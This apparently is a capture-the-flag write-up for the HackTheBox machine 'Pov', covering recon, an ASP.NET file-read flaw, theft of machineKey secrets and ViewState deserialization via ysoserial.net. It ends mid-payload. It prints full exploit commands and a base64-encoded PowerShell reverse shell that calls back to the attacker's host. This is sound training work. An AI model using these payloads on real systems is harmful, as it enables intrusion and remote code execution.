Pov

Pov offers only a web port. I’ll abuse a file read and directory traversal in the web page to read the ASP.NET secrets used for VIEWSTATE, and then use ysoserial.net to make a malicious serlialized .NET payload to get execution. I’ll pivot on a PowerShell credential, and then abuse SeDebugPrivilege through both Metasploit and via a PowerShell script, psgetsys.ps1.

Box Info

Name Pov Pov
Play on HackTheBox
Release Date 27 Jan 2024
Retire Date 08 Jun 2024
OS Windows Windows
Base Points Medium [30]
Rated Difficulty Rated difficulty for Pov
Radar Graph Radar chart for Pov
First Blood User 00:29:50xct
First Blood Root 00:42:33xct
Creator d00msl4y3r

Recon

nmap

nmap finds only a single open TCP port, HTTP (80):

oxdf@hacky$ nmap -p- --min-rate 10000 10.10.11.251
Starting Nmap 7.80 ( https://nmap.org ) at 2024-06-03 12:50 EDT
Nmap scan report for 10.10.11.251
Host is up (0.093s latency).
Not shown: 65534 filtered ports
PORT   STATE SERVICE
80/tcp open  http

Nmap done: 1 IP address (1 host up) scanned in 13.62 seconds
oxdf@hacky$ nmap -p 80 -sCV 10.10.11.251
Starting Nmap 7.80 ( https://nmap.org ) at 2024-06-03 12:50 EDT
Nmap scan report for 10.10.11.251
Host is up (0.092s latency).

PORT   STATE SERVICE VERSION
80/tcp open  http    Microsoft IIS httpd 10.0
| http-methods: 
|_  Potentially risky methods: TRACE
|_http-server-header: Microsoft-IIS/10.0
|_http-title: pov.htb
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 9.83 seconds

Based on the IIS version the host is running a modern Windows OS.

The title of the page is pov.htb.

Subdomain Brute Force

Given the reference to the domain name, I’ll use ffuf to brute force for any subdomains of pov.htb that return something different from the default page:

oxdf@hacky$ ffuf -u http://10.10.11.251 -H "Host: FUZZ.pov.htb" -w /opt/SecLists/Discovery/DNS/subdomains-top1million-20000.txt -mc all -ac

        /'___\  /'___\           /'___\       
       /\ \__/ /\ \__/  __  __  /\ \__/       
       \ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\      
        \ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/      
         \ \_\   \ \_\  \ \____/  \ \_\       
          \/_/    \/_/   \/___/    \/_/       

       v2.0.0-dev
________________________________________________

 :: Method           : GET
 :: URL              : http://10.10.11.251
 :: Wordlist         : FUZZ: /opt/SecLists/Discovery/DNS/subdomains-top1million-20000.txt
 :: Header           : Host: FUZZ.pov.htb
 :: Follow redirects : false
 :: Calibration      : true
 :: Timeout          : 10
 :: Threads          : 40
 :: Matcher          : Response status: all
________________________________________________

dev                     [Status: 302, Size: 152, Words: 9, Lines: 2, Duration: 698ms]
:: Progress: [19966/19966] :: Job [1/1] :: 430 req/sec :: Duration: [0:00:47] :: Errors: 0 ::

Almost immediately it finds dev.pov.htb. I’ll add both of these to my /etc/hosts file that I can interact with these domains:

10.10.11.251 pov.htb dev.pov.htb

pov.htb - TCP 80

Site

The site is for a cybersecurity monitoring service:

image-20240603162210484 expand

All of the links on the page go nowhere. The “Contact Us” form doesn’t even submit the input data, so that’s just a placeholder.

There is an email address on the page, sfitz@pov.htb.

Tech Stack

The HTTP response headers show both IIS and ASP.NET:

HTTP/1.1 200 OK
Content-Type: text/html
Last-Modified: Thu, 11 Jan 2024 15:08:44 GMT
Accept-Ranges: bytes
ETag: "0668111a044da1:0"
Vary: Accept-Encoding
Server: Microsoft-IIS/10.0
X-Powered-By: ASP.NET
Date: Mon, 03 Jun 2024 20:21:31 GMT
Connection: close
Content-Length: 12330

This suggests I could see .aspx pages if there’s any dynamic content.

The main page loads as index.html, suggesting it’s a static page.

The 404 page is a standard IIS 404.

Directory Brute Force

I’ll run feroxbuster against the site, and include -x aspx since I know the site is using ASP.NET, and with a lowercase wordlist since the server is IIS:

oxdf@hacky$ feroxbuster -u http://pov.htb -w /opt/SecLists/Discovery/Web-Content/raft-medium-directories-lowercase.txt -x aspx 

 ___  ___  __   __     __      __         __   ___
|__  |__  |__) |__) | /  `    /  \ \_/ | |  \ |__
|    |___ |  \ |  \ | \__,    \__/ / \ | |__/ |___
by Ben "epi" Risher 🤓                 ver: 2.9.3
───────────────────────────┬──────────────────────
 🎯  Target Url            │ http://pov.htb
 🚀  Threads               │ 50
 📖  Wordlist              │ /opt/SecLists/Discovery/Web-Content/raft-medium-directories-lowercase.txt
 👌  Status Codes          │ All Status Codes!
 💥  Timeout (secs)        │ 7
 🦡  User-Agent            │ feroxbuster/2.9.3
 💉  Config File           │ /etc/feroxbuster/ferox-config.toml
 💲  Extensions            │ [aspx]
 🏁  HTTP methods          │ [GET]
 🔃  Recursion Depth       │ 4
 🎉  New Version Available │ https://github.com/epi052/feroxbuster/releases/latest
───────────────────────────┴──────────────────────
 🏁  Press [ENTER] to use the Scan Management Menu™
──────────────────────────────────────────────────
404      GET       29l       95w     1245c Auto-filtering found 404-like response and created new filter; toggle off with --dont-filter
404      GET       40l      156w        -c Auto-filtering found 404-like response and created new filter; toggle off with --dont-filter
301      GET        2l       10w      141c http://pov.htb/js => http://pov.htb/js/
301      GET        2l       10w      142c http://pov.htb/css => http://pov.htb/css/
301      GET        2l       10w      142c http://pov.htb/img => http://pov.htb/img/
200      GET      234l      834w    12330c http://pov.htb/
400      GET        6l       26w      324c http://pov.htb/error%1F_log
400      GET        6l       26w      324c http://pov.htb/error%1F_log.aspx
400      GET        6l       26w      324c http://pov.htb/js/error%1F_log
400      GET        6l       26w      324c http://pov.htb/img/error%1F_log
400      GET        6l       26w      324c http://pov.htb/js/error%1F_log.aspx
400      GET        6l       26w      324c http://pov.htb/css/error%1F_log
400      GET        6l       26w      324c http://pov.htb/css/error%1F_log.aspx
400      GET        6l       26w      324c http://pov.htb/img/error%1F_log.aspx
[####################] - 3m    106336/106336  0s      found:12      errors:0      
[####################] - 3m     26584/26584   127/s   http://pov.htb/ 
[####################] - 3m     26584/26584   127/s   http://pov.htb/js/ 
[####################] - 3m     26584/26584   127/s   http://pov.htb/css/ 
[####################] - 3m     26584/26584   127/s   http://pov.htb/img/

Nothing interesting here.

dev.pov.htb - TCP 80

Site

The site root redirects to /portfolio, which is a portfolio for a web developer:

image-20240603164808842 expand

There’s a reference to ASP.NET in bold in the intro paragraph:

image-20240603164949104

One testimonial says that the he’s good, but not great in ASP.NET security:

image-20240603165051606

All the links except one go to places on the same page. The “Download CV” link calls JavaScript __doPostBack('download', ''):

image-20240603165152255

Clicking the button downloads and opens a PDF in a new tab:

image-20240603165257784

Tech Stack

The response headers here show it’s also powered by ASP.NET:

HTTP/1.1 200 OK
Content-Type: application/javascript
Last-Modified: Mon, 23 Oct 2023 23:38:26 GMT
Accept-Ranges: bytes
ETag: "f294445a6da1:0"
Server: Microsoft-IIS/10.0
X-Powered-By: ASP.NET
Date: Mon, 03 Jun 2024 20:47:35 GMT
Connection: close
Content-Length: 280364

I’ll take a guess at file extensions, but my bad guesses return 302 redirects to default.aspx, which matches ASP.NET.

Directory Brute Force

I’ll run feroxbuster against the site, and include -x aspx since I know the site is using ASP.NET, and with a lowercase wordlist since the server is IIS:

oxdf@hacky$ feroxbuster -u http://dev.pov.htb -w /opt/SecLists/Discovery/Web-Content/raft-medium-directories-lowercase.txt -x aspx

 ___  ___  __   __     __      __         __   ___
|__  |__  |__) |__) | /  `    /  \ \_/ | |  \ |__
|    |___ |  \ |  \ | \__,    \__/ / \ | |__/ |___
by Ben "epi" Risher 🤓                 ver: 2.9.3
───────────────────────────┬──────────────────────
 🎯  Target Url            │ http://dev.pov.htb
 🚀  Threads               │ 50
 📖  Wordlist              │ /opt/SecLists/Discovery/Web-Content/raft-medium-directories-lowercase.txt
 👌  Status Codes          │ All Status Codes!
 💥  Timeout (secs)        │ 7
 🦡  User-Agent            │ feroxbuster/2.9.3
 💉  Config File           │ /etc/feroxbuster/ferox-config.toml
 💲  Extensions            │ [aspx]
 🏁  HTTP methods          │ [GET]
 🔃  Recursion Depth       │ 4
 🎉  New Version Available │ https://github.com/epi052/feroxbuster/releases/latest
───────────────────────────┴──────────────────────
 🏁  Press [ENTER] to use the Scan Management Menu™
──────────────────────────────────────────────────
302      GET        2l       10w        -c Auto-filtering found 404-like response and created new filter; toggle off with --dont-filter
404      GET       29l       95w     1245c http://dev.pov.htb/bin
404      GET       29l       95w     1245c http://dev.pov.htb/app_code
404      GET       29l       95w     1245c http://dev.pov.htb/app_data
404      GET       29l       95w     1245c http://dev.pov.htb/app_browsers
302      GET        2l       11w      165c http://dev.pov.htb/style%20library => http://dev.pov.htb/portfolio/style library
302      GET        3l        8w      149c http://dev.pov.htb/con => http://dev.pov.htb/default.aspx?aspxerrorpath=/con
302      GET        3l        8w      154c http://dev.pov.htb/con.aspx => http://dev.pov.htb/default.aspx?aspxerrorpath=/con.aspx
302      GET        3l        8w      149c http://dev.pov.htb/aux => http://dev.pov.htb/default.aspx?aspxerrorpath=/aux
302      GET        3l        8w      154c http://dev.pov.htb/aux.aspx => http://dev.pov.htb/default.aspx?aspxerrorpath=/aux.aspx
302      GET        2l       11w      163c http://dev.pov.htb/donate%20cash => http://dev.pov.htb/portfolio/donate cash
302      GET        2l       11w      168c http://dev.pov.htb/donate%20cash.aspx => http://dev.pov.htb/portfolio/donate cash.aspx
302      GET        2l       11w      166c http://dev.pov.htb/planned%20giving => http://dev.pov.htb/portfolio/planned giving
302      GET        2l       11w      171c http://dev.pov.htb/planned%20giving.aspx => http://dev.pov.htb/portfolio/planned giving.aspx
302      GET        2l       11w      171c http://dev.pov.htb/press%20releases.aspx => http://dev.pov.htb/portfolio/press releases.aspx
302      GET        2l       11w      165c http://dev.pov.htb/site%20map.aspx => http://dev.pov.htb/portfolio/site map.aspx
302      GET        2l       11w      164c http://dev.pov.htb/bequest%20gift => http://dev.pov.htb/portfolio/bequest gift
302      GET        2l       11w      162c http://dev.pov.htb/new%20folder => http://dev.pov.htb/portfolio/new folder
302      GET        2l       11w      167c http://dev.pov.htb/new%20folder.aspx => http://dev.pov.htb/portfolio/new folder.aspx
302      GET        2l       11w      163c http://dev.pov.htb/site%20assets => http://dev.pov.htb/portfolio/site assets
302      GET        2l       11w      168c http://dev.pov.htb/site%20assets.aspx => http://dev.pov.htb/portfolio/site assets.aspx
400      GET        6l       26w      324c http://dev.pov.htb/error%1F_log
400      GET        6l       26w      324c http://dev.pov.htb/error%1F_log.aspx
302      GET        3l        8w      149c http://dev.pov.htb/prn => http://dev.pov.htb/default.aspx?aspxerrorpath=/prn
302      GET        3l        8w      154c http://dev.pov.htb/prn.aspx => http://dev.pov.htb/default.aspx?aspxerrorpath=/prn.aspx
[####################] - 6m     26584/26584   0s      found:24      errors:0
[####################] - 6m     26584/26584   66/s    http://dev.pov.htb/

There’s a bunch of redirects that go to /portfolio, but feroxbuster doesn’t find that path on its own. Nothing else looks very interesting. I’ll run again there as well:

oxdf@hacky$ feroxbuster -u http://dev.pov.htb/portfolio -w /opt/SecLists/Discovery/Web-Content/raft-medium-directories-lowercase.txt -x aspx

 ___  ___  __   __     __      __         __   ___
|__  |__  |__) |__) | /  `    /  \ \_/ | |  \ |__
|    |___ |  \ |  \ | \__,    \__/ / \ | |__/ |___
by Ben "epi" Risher 🤓                 ver: 2.9.3
───────────────────────────┬──────────────────────
 🎯  Target Url            │ http://dev.pov.htb/portfolio
 🚀  Threads               │ 50
 📖  Wordlist              │ /opt/SecLists/Discovery/Web-Content/raft-medium-directories-lowercase.txt
 👌  Status Codes          │ All Status Codes!
 💥  Timeout (secs)        │ 7
 🦡  User-Agent            │ feroxbuster/2.9.3
 💉  Config File           │ /etc/feroxbuster/ferox-config.toml
 💲  Extensions            │ [aspx]
 🏁  HTTP methods          │ [GET]
 🔃  Recursion Depth       │ 4
 🎉  New Version Available │ https://github.com/epi052/feroxbuster/releases/latest
───────────────────────────┴──────────────────────
 🏁  Press [ENTER] to use the Scan Management Menu™
──────────────────────────────────────────────────
404      GET       29l       95w     1245c Auto-filtering found 404-like response and created new filter; toggle off with --dont-filter
302      GET        3l        8w        -c Auto-filtering found 404-like response and created new filter; toggle off with --dont-filter
302      GET        2l       10w      161c http://dev.pov.htb/portfolio => http://dev.pov.htb/portfolio/portfolio
302      GET        2l       10w      157c http://dev.pov.htb/.aspx => http://dev.pov.htb/portfolio/.aspx
200      GET      106l      271w     4691c http://dev.pov.htb/portfolio/contact.aspx
301      GET        2l       10w      159c http://dev.pov.htb/portfolio/assets => http://dev.pov.htb/portfolio/assets/
301      GET        2l       10w      162c http://dev.pov.htb/portfolio/assets/js => http://dev.pov.htb/portfolio/assets/js/
301      GET        2l       10w      163c http://dev.pov.htb/portfolio/assets/css => http://dev.pov.htb/portfolio/assets/css/
200      GET      423l     1217w    21371c http://dev.pov.htb/portfolio/default.aspx
301      GET        2l       10w      164c http://dev.pov.htb/portfolio/assets/imgs => http://dev.pov.htb/portfolio/assets/imgs/
301      GET        2l       10w      167c http://dev.pov.htb/portfolio/assets/vendors => http://dev.pov.htb/portfolio/assets/vendors/
301      GET        2l       10w      174c http://dev.pov.htb/portfolio/assets/vendors/jquery => http://dev.pov.htb/portfolio/assets/vendors/jquery/
400      GET        6l       26w      324c http://dev.pov.htb/portfolio/error%1F_log
400      GET        6l       26w      324c http://dev.pov.htb/portfolio/error%1F_log.aspx
400      GET        6l       26w      324c http://dev.pov.htb/portfolio/assets/error%1F_log
400      GET        6l       26w      324c http://dev.pov.htb/portfolio/assets/error%1F_log.aspx
400      GET        6l       26w      324c http://dev.pov.htb/portfolio/assets/js/error%1F_log
400      GET        6l       26w      324c http://dev.pov.htb/portfolio/assets/js/error%1F_log.aspx
400      GET        6l       26w      324c http://dev.pov.htb/portfolio/assets/css/error%1F_log
400      GET        6l       26w      324c http://dev.pov.htb/portfolio/assets/css/error%1F_log.aspx
400      GET        6l       26w      324c http://dev.pov.htb/portfolio/assets/imgs/error%1F_log
400      GET        6l       26w      324c http://dev.pov.htb/portfolio/assets/imgs/error%1F_log.aspx
400      GET        6l       26w      324c http://dev.pov.htb/portfolio/assets/vendors/error%1F_log
400      GET        6l       26w      324c http://dev.pov.htb/portfolio/assets/vendors/error%1F_log.aspx
400      GET        6l       26w      324c http://dev.pov.htb/portfolio/assets/vendors/jquery/error%1F_log
400      GET        6l       26w      324c http://dev.pov.htb/portfolio/assets/vendors/jquery/error%1F_log.aspx
[####################] - 7m    186088/186088  0s      found:24      errors:0
[####################] - 6m     26584/26584   63/s    http://dev.pov.htb/portfolio/
[####################] - 7m     26584/26584   63/s    http://dev.pov.htb/portfolio/assets/
[####################] - 7m     26584/26584   62/s    http://dev.pov.htb/portfolio/assets/js/
[####################] - 7m     26584/26584   62/s    http://dev.pov.htb/portfolio/assets/css/
[####################] - 7m     26584/26584   62/s    http://dev.pov.htb/portfolio/assets/imgs/
[####################] - 7m     26584/26584   62/s    http://dev.pov.htb/portfolio/assets/vendors/
[####################] - 6m     26584/26584   63/s    http://dev.pov.htb/portfolio/assets/vendors/jquery/

There’s the default.aspx I identified by guessing, as well as contact.aspx.

contact.aspx

This is a bad looking Contact form (almost looks like a mobile site):

image-20240603172522900

Submitting to this form does send the data, though there’s no sign that anything is done with it. If I get stuck, I can try blind XSS here, but I won’t need to.

Shell as sfitz

CV Request Analysis

I’ll find the request that is sent when I click “Download CV” in Burp and send it to Repeater (I also like to clear out some unneeded HTTP headers in the request):

image-20240603165527873

There’s a few interesting things here:

  • It’s using VIEWSTATE, which is a method in Windows ASP.NET applications where session data can be sent down to the user and then back in the next request, allowing the server to not have to store it. In order to secure this, there data is encrypted using a secret stored by the server so that an attacker can’t modify the data without that secret.
  • The filename is given in the file parameter.

File Read

POC

Given that the request is asking for a file, I’ll try asking for other files as well. I know there’s a default.aspx, and I can read it:

image-20240603172644205

Source Analysis

default.aspx is almost entirely static HTML, but there is the include at the top that brings in C# code. I can read index.aspx.cs as well:

using System;
using System.Collections.Generic;
using System.Web;
using System.Web.UI;
using System.Web.UI.WebControls;
using System.Text.RegularExpressions;
using System.Text;
using System.IO;
using System.Net;

public partial class index : System.Web.UI.Page {
    protected void Page_Load(object sender, EventArgs e) {

    }
    
    protected void Download(object sender, EventArgs e) {
            
        var filePath = file.Value;
        filePath = Regex.Replace(filePath, "../", "");
        Response.ContentType = "application/octet-stream";
        Response.AppendHeader("Content-Disposition","attachment; filename=" + filePath);
        Response.TransmitFile(filePath);
        Response.End();
        
    }
}

This is the code that does the file read. It is replacing ../ with an empty string, but otherwise it will read basically any file path.

Directory Traversal Read

I wasn’t able to get system-wide file read working with relative paths (even with bypasses like ....//), but using absolute paths worked fine:

image-20240603173211261

It’s not clear to me why ..\..\..\Windows\System32\drivers\etc\hosts doesn’t work. Relative paths within the directory do work (as I’ll see shortly). I think that’s because the application is rooted one directory above the current one, and IIS isn’t letting relative paths go outside of it.

View State Exploitation

Read Secrets

The ViewState configuration is set in the site’s web.config file. There is no web.config in the current (portfolio) directory, but there is one up one level:

image-20240603184945187

The same file returns from \webconfig:

image-20240603191221681

I believe this is not a web.config file sitting in the root of the C: drive, but rather reflects that the root of the application is one directory up from the current one.

The full XML file is:

<configuration>
  <system.web>
    <customErrors mode="On" defaultRedirect="default.aspx" />
    <httpRuntime targetFramework="4.5" />
    <machineKey decryption="AES" decryptionKey="74477CEBDD09D66A4D4A8C8B5082A4CF9A15BE54A94F6F80D5E822F347183B43" validation="SHA1" validationKey="5620D3D029F914F4CDF25869D24EC2DA517435B200CCF1ACFA1EDE22213BECEB55BA3CF576813C3301FCB07018E605E7B7872EEACE791AAD71A267BC16633468" />
  </system.web>
    <system.webServer>
        <httpErrors>
            <remove statusCode="403" subStatusCode="-1" />
            <error statusCode="403" prefixLanguageFilePath="" path="http://dev.pov.htb:8080/portfolio" responseMode="Redirect" />
        </httpErrors>
        <httpRedirect enabled="true" destination="http://dev.pov.htb/portfolio" exactDestination="false" childOnly="true" />
    </system.webServer>
</configuration>

POC Payload

I’ll use ysoserial.net with the following options:

  • -p ViewState - Use the ViewState plugin.
  • -g WindowsIdentity - The gadgets to use. There are a ton to choose from, and many will work here. It’s a bit trial and error, but enough work that it’s not a pain or worth automating.
  • --decryptionalg="AES" - The decryption algorithm from the web.config.
  • --decryptionkey="744...[snip]..." - The decryption key from the web.config.
  • --validationalg="SHA1" - The validation algorithm from the web.config.
  • --validationkey="562...[snip]..." - The validation key from the web.config.
  • --path="/portfolio" - The path of my current request. This is used to calculate another parameter, the __VIEWSTATEGENERATOR, and if it doesn’t match, then it will all fail.
  • -c "ping 10.10.14.6" - The command to run.

This’ll generate a base64-encoded blob:

PS > ysoserial.exe -p ViewState -g WindowsIdentity --decryptionalg="AES" --decryptionkey="74477CEBDD09D66A4D4A8C8B5082A4CF9A15BE54A94F6F80D5E822F347183B43" --validationalg="SHA1" --validationkey="5620D3D029F914F4CDF25869D24EC2DA517435B200CCF1ACFA1EDE22213BECEB55BA3CF576813C3301FCB07018E605E7B7872EEACE791AAD71A267BC16633468" --path="/portfolio" -c "ping 10.10.14.6"
prSDlekDxsPCc%2FrFoMPPcZtsiGjJxbfNS8TDzRAol3FbIEaHaq49D89ZymK3x8s3AZ1rhuJEaUDJlGu6sfxmq7OtIYQaRtmwoHKWcssLsRVl%2BWG0LkBLBvTQ3hQ%2BEEraVu5wMY0MPZmLw%2BoVO7QBLFTLn8tc5334VRNJdh4tTlDl75K6fu1tZuFx3tXW3ZfkmMkpj%2BBTs8BIZOhelwlYLw9C6xvJp0HPOEr9rBhE%2F7721nVZLcszHzeIL5RsydnAamEuUbvX%2FuYMR05EUMVYkO9JIsHisGHqdd%2BJaBRK%2BuI%2Bch3E5m7zdeJoW81sbKfo%2BCc3%2BIGKjtLQl%2FqypRLsm4iH4vcru%2B9EJkLsrKdaOppKzuD%2FSE8pVHfbtl%2BjEafCHU36FAwRX6qD9bUrJdaTkpYWjJngTHm1jULJdSh65GkSELCH5WCNmTFR7UJGYzr%2FDkfAcnwOmb0RFijrMBpwGkiBeJQuzNEw8dC9BOdBj6%2FHuPbARqiMn%2BaXQRqNgw8GrOAWrd2PW6Er%2Bml7JSxDz8CszbYwDixgDVnQTOnCcO8WoJtH0DEdQDrBBTiUDEZgWZAu37JFyNwnig%2B6QknHGudoA3uKlZZtYRm7Dd1yascID5n%2F2RuSgTP%2FQPPp%2F2SuX423kakr%2FDivpUFFHh0Jbfj2ibSQhFbnYNQRszovwescUVcTzFbJsO1LMjDtMKlZqXqWjmUJD%2FYZeOMPWSCTIXDOSnJdihQSqjfQ5YdlWcjY%2BPE4Cl0CAX9CNFgy9iKdz6QbgT8uFOIq2JWhN2zxcO3lXRRjl5sW6X6UNPo%2FJof0cxmYR4SbTGnAXrFGMC%2FhMMFZh%2B%2Bw%2Bd6BkyrpXgwwiM0GBe6v5L5yjOXLH7Kr1nxOw0KVXwl13cNErHU7k7jQ6r7yMgdvs7pGsiNTg7aWuuTW7QL9SJTHHp%2B%2FoCwglvuuHGGp6XATRdippj%2FYzda39FyVDBBNmXGjx87gSs4Evai5Q%2FJJgbv53OA1Y38zPgwAfr5feM9uN2k8zrAAWWuzMnjeEOK4Jpe9Q9L6m3H%2BmVRIH%2Bmb58%2Fj3Y8nv4mnMsdRqEy2F9RchTBg%2BP6aAMSfCiiOv8pfjigBbAGPdBtgI9larZwAdiHfcSAWzLG2Uvp4hNm7uDbLnuTL0UQGH3A6Hu6H6Z6t0bc3PM4%2Fuh36FwSbz56C6sOLls03UeN5OrYtKIDpbX%2FAaPaz459c8dZdhKBNB61pQmilGpgPYTuM1CaPi0BqrPprHIq5N1HQOuu7tyUa9JiI342ESON2Sx1w4J9XFpNR4kjsW9MA%2BkuFbwUcx9vnrqFgd9tmw1voZhhqI9GRndruaRMrPZ4G1tj1UHthEa0sN74xb0kOCjJ4XP7TmKcbtQ8rPi0OAe4CkuB3kbabROFuJnzZLC%2BVLlHsr4fr4jeyz%2FtI%2F4xmBjFd5jyi1w1gsYTyYNDkzM%2F39V%2FTy90SORsZBwdyHej5laRRA2bRxIeHBrdhJ8VS1p9IMyl3TzmaOPbGS3DARJwipikx%2FNy9c1EpD7QvJXtShkuYz0O1wuMlitmnmFyvahlcC%2FgqF5LX7TzAoiC2GR5s8v5WL6A0SeTbr9oONIQ5zFYTvcvv2fyRTQIQ8AbdJWObzHxbxC3xPkbgN0NBlla9MqhdHRJKnHznPg0%2Fn9nwVx1PFPE%2B1KDn3KKvZu1v7HgamwiM2c5PfunuR9fCAwsL2YSYkDXa4gZcfdnnwUM1h2NgwGIKoyMaQtOG36xv54HMH1imCvCCPy6Or2uSpuxcv1vSmsW06xF2U4i6%2BOy71Oc7B5DaQwI2Tk7GqTcoIIty%2BWHptR8p4pJRZGgNYliWiJrRlvlSlt0NSuSHCkQ32o71NH1VVg%3D%3D

With tcpdump listening for ICMP traffic, I’ll update the __VIEWSTATE POST parameter in Burp Repeater and send:

image-20240603192305808

It returns immediately. At tcpdump:

oxdf@hacky$ sudo tcpdump -i tun0 icmp
tcpdump: verbose output suppressed, use -v[v]... for full protocol decode
listening on tun0, link-type RAW (Raw IP), snapshot length 262144 bytes
15:56:42.246335 IP pov.htb > hacky: ICMP echo request, id 1, seq 17, length 40
15:56:42.246370 IP hacky > pov.htb: ICMP echo reply, id 1, seq 17, length 40
15:56:43.263910 IP pov.htb > hacky: ICMP echo request, id 1, seq 18, length 40
15:56:43.263938 IP hacky > pov.htb: ICMP echo reply, id 1, seq 18, length 40
15:56:44.279779 IP pov.htb > hacky: ICMP echo request, id 1, seq 19, length 40
15:56:44.279796 IP hacky > pov.htb: ICMP echo reply, id 1, seq 19, length 40
15:56:45.295260 IP pov.htb > hacky: ICMP echo request, id 1, seq 20, length 40
15:56:45.295281 IP hacky > pov.htb: ICMP echo reply, id 1, seq 20, length 40

That’s remote code execution (RCE)!

Shell

I’ll grab a reverse shell from revshells.com, PowerShell #3 (Base64), and update my YSoSerial.NET command, replacing the ping with the reverse shell:

PS > ysoserial.exe -p ViewState -g WindowsIdentity --decryptionalg="AES" --decryptionkey="74477CEBDD09D66A4D4A8C8B5082A4CF9A15BE54A94F6F80D5E822F347183B43" --validationalg="SHA1" --validationkey="5620D3D029F914F4CDF25869D24EC2DA517435B200CCF1ACFA1EDE22213BECEB55BA3CF576813C3301FCB07018E605E7B7872EEACE791AAD71A267BC16633468" --path="/portfolio" -c "powershell -e JABjAGwAaQBlAG4AdAAgAD0AIABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFMAbwBjAGsAZQB0AHMALgBUAEMAUABDAGwAaQBlAG4AdAAoACIAMQAwAC4AMQAwAC4AMQA0AC4ANgAiACwANAA0ADMAKQA7ACQAcwB0AHIAZQBhAG0AIAA9ACAAJABjAGwAaQBlAG4AdAAuAEcAZQB0AFMAdAByAGUAYQBtACgAKQA7AFsAYgB5AHQAZQBbAF0AXQAkAGIAeQB0AGUAcwAgAD0AIAAwAC4ALgA2ADUANQAzADUAfAAlAHsAMAB9ADsAdwBoAGkAbABlACgAKAAkAGkAIAA9ACAAJABzAHQAcgBlAGEAbQAuAFIAZQBhAGQAKAAkAGIAeQB0AGUAcwAsACAAMAAsACAAJABiAHkAdABlAHMALgBMAGUAbgBnAHQAaAApACkAIAAtAG4AZQAgADAAKQB7ADsAJABkAGEAdABhACAAPQAgACgATgBlAHcALQBPAGIAagBlAGMAdAAgAC0AVAB5AHAAZQBOAGEAbQBlACAAUwB5AHMAdABlAG0ALgBUAGUAeAB0AC4AQQBTAEMASQBJAEUAbgBjAG8AZABpAG4AZwApAC4ARwBlAHQAUwB0AHIAaQBuAGcAKAAkAGIAeQB0AGUAcwAsADAALAAgACQAaQApADsAJABzAGUAbgBkAGIAYQBjAGsAIAA9ACAAKABpAGUAeAAgACQAZABhAHQAYQAgADIAPgAmADEAIAB8ACAATwB1AHQALQBTAHQAcgBpAG4AZwAgACkAOwAkAHMAZQBuAGQAYgBhAGMAawAyACAAPQAgACQAcwBlAG4AZABiAGEAYwBrACAAKwAgACIAUABTACAAIgAgACsAIAAoAHAAdwBkACkALgBQAGEAdABoACAAKwAgACIAPgAgACIAOwAkAHMAZQBuAGQAYgB5AHQAZQAgAD0AIAAoAFsAdABlAHgAdAAuAGUAbgBjAG8AZABpAG4AZwBdADoAOgBBAFMAQwBJAEkAKQAuAEcAZQB0AEIAeQB0AGUAcwAoACQAcwBlAG4AZABiAGEAYwBrADIAKQA7ACQAcwB0AHIAZQBhAG0ALgBXAHIAaQB0AGUAKAAkAHMAZQBuAGQAYgB5AHQAZQAsADAALAAkAHMAZQBuAGQAYgB5AHQAZQAuAEwAZQBuAGcAdABoACkAOwAkAHMAdAByAGUAYQBtAC4ARgBsAHUAcwBoACgAKQB9ADsAJABjAGwAaQBlAG4AdAAuAEMAbABvAHMAZQAoACkA"
h0s1r1uth1QGyPiXTgvXJev%2Bok7ysOxauVbMFHE5xfWgsblGD2iFZfnCaKhEVRtabAtu0cJ6550ZU2u6btkTKjj6GRl4hbRbdJmRWmS9g8dc9AmuOtfQJ3s0nGNlSH2GP%2BYAiYdv0QvwotiUVy%2FbhHg1z4KcMiBYcAoaaAnrUtJIf3pKzCWxncdXAntYKtj6qC8sfWIg8t2A0x%2BYii4wd6bjPJGggPM6Wk2KGap4%2FX%2Bo9YdPOknaYUjsvHHIY%2BkxGfwpApweZSPXhE0VGVBtQ1g4ajm60wGRIao2BrCRSvHgmuQ1J8zoYA6vhp8k761aUbMtFwwv1fGqOCPj9WzlGL3Pb6M3LhgriWFCYnAi%2F%2Fyl9u%2FgDfB78xRgy04FtezFKMqqJIvNKkj%2FqykLGKNfT58ziZnwOzzsQVz3ZTqZlKQ4Oz2CqIzYqdw1cbjXLuqk1m5MGFKFexTXd1OB%2Fst3NUYb%2FBSjGRI4Gi7uuuxXlCWLq1XJS0AD1K4Tn7YnClvVOctdOIww49o5p8lcln7h0Xi5vpw3rDY%2F76zMk3UI4LzE9cuW%2Bbd8SYRlddRxPuNU1%2BUxcfsIJuk1u8BDGiixjdNMxs9il%2B6mg4ldt1uvcAEk9JOj9Q%2BAI2HiSm7DM0IiFpTFuFv1u2xWoxgsqlRxHQwbUKKNOUvJCI0%2B8HIHflhBYfSzRRDirdIP2hs%2B0kP4F0dEn62qVJmuVCglvG1gW2ZcMaF3ZunukS0QtqwtKNFqfjKbpACNWJoXPzpYBnBVaZOFBPEL%2FPTpTZ48R1W6a1R4ZoJAcvnEaTY%2B5rZTxNvMNxqZ9jZgnHSbF0AyeIdp39%2FdFrT4NLZrDAyhub06VTmELJOdjofkfONCSAelxo%2BSxStBmCp1JNaLhoQ%2BaAPhWLlfmF6IthSUalJL7y0o8Y7zd%2BgnyFseroE%2BV5gfUm5vnnV91koiG4D7sQFmpsuqFpOcSSbSZC%2FGMi74cNX%2BGs6TsY%2FC7Izo0C3A7f7LJVD%2F%2FTdEXU0Owe2bu%2BiAd9NxukFGZkorlHttnwLbP4mN0PzFBoAn0EDoO4QtjJJuf7QiSMheoa%2BqqISuSBZymoWjxgJOMMOUFsJ5dNjM%2F9WQbwa0kspTaDtLFN7HEmRYYn%2BLd8260eonNBloXHyxd4o%2FTZvSQTyuEQEhMbHQqxQIVZy4CpG9mEGnDqKVA%2BNzNW2FsothP2xsdFyX5FQjNgO80oSSkvBwZhIgvFo4BM2Sdbm7J15qSc7jRZg9L56HwiJc2ZcsDThQw6Ilzh85Fi0dJ3PdR7tnawDZdgP%2FFX6aEihlTHQe1SEpUj5va3rbaqw8EzrE75hgad4z7uRs5uoDCKYh%2BjMTh%2FHLVVKtM9S15Kibp23DURsTk%2BNOCno4IB2%2F46kExKFZDU8qZNL3L6h0LiIR4SzbjSPlE6Vv00SpQBaV2NE6id8g7PHGSiUK8MtiH